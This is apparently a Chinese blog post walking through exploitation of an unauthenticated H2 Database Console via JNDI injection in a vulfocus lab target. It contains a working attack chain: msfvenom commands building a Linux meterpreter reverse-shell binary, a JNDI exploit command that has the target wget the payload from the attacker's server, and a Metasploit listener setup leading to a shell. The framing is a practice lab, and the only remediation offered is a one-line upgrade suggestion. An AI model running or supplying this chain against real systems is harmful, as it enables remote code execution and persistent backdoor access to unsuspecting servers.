H2 Database Console未授权访问漏洞复现+利用

1、产品简介

H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。

2、漏洞概述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

3、复现环境

   vulfocus在线靶场

H2 Database Console未授权访问漏洞复现+利用_第1张图片

4、利用流程

  准备JDNI注入工具包:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

  MSF后渗透工具(自行安装该工具)

 启动靶场,访问http://x.x.x.x:8080/h2-console/ 查看环境是否就绪

H2 Database Console未授权访问漏洞复现+利用_第2张图片

复现的文章千篇一律,就是没有利用的环节,这里直接展示利用(各位观众姥爷有其他利用手法欢迎交流)

首先使用msf生成一个Linux木马文件(LHOST和LPOST填写你VPS的IP和空闲端口)

msf5

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=6666 -f elf > shell.elf

msf6

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=6666 -f elf > shell.elf

 利用python3搭建http服务器

python3 -m http.server 80

使用JDNI工具生成RMI利用链,执行的命令是下载后门文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "wget http://x.x.x.x/shell.elf" -A VPSip
javax.naming.InitialContext

H2 Database Console未授权访问漏洞复现+利用_第3张图片 点击连接,可以看到成功下载到了木马文件

H2 Database Console未授权访问漏洞复现+利用_第4张图片

给木马文件加执行权限(还是和上面同样的方式)

H2 Database Console未授权访问漏洞复现+利用_第5张图片

 可以看到靶场地址有加载rml url就说明执行了

H2 Database Console未授权访问漏洞复现+利用_第6张图片

 启动msf,开启监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 6666
run

H2 Database Console未授权访问漏洞复现+利用_第7张图片

执行木马文件

H2 Database Console未授权访问漏洞复现+利用_第8张图片

H2 Database Console未授权访问漏洞复现+利用_第9张图片 成功getshell,获取flag(靶场的flag一般在tmp目录或者env环境变量下)

H2 Database Console未授权访问漏洞复现+利用_第10张图片

 5、修复建议

       升级至安全版本

你可能感兴趣的:(#,漏洞复现,web安全,数据库,web安全,系统安全)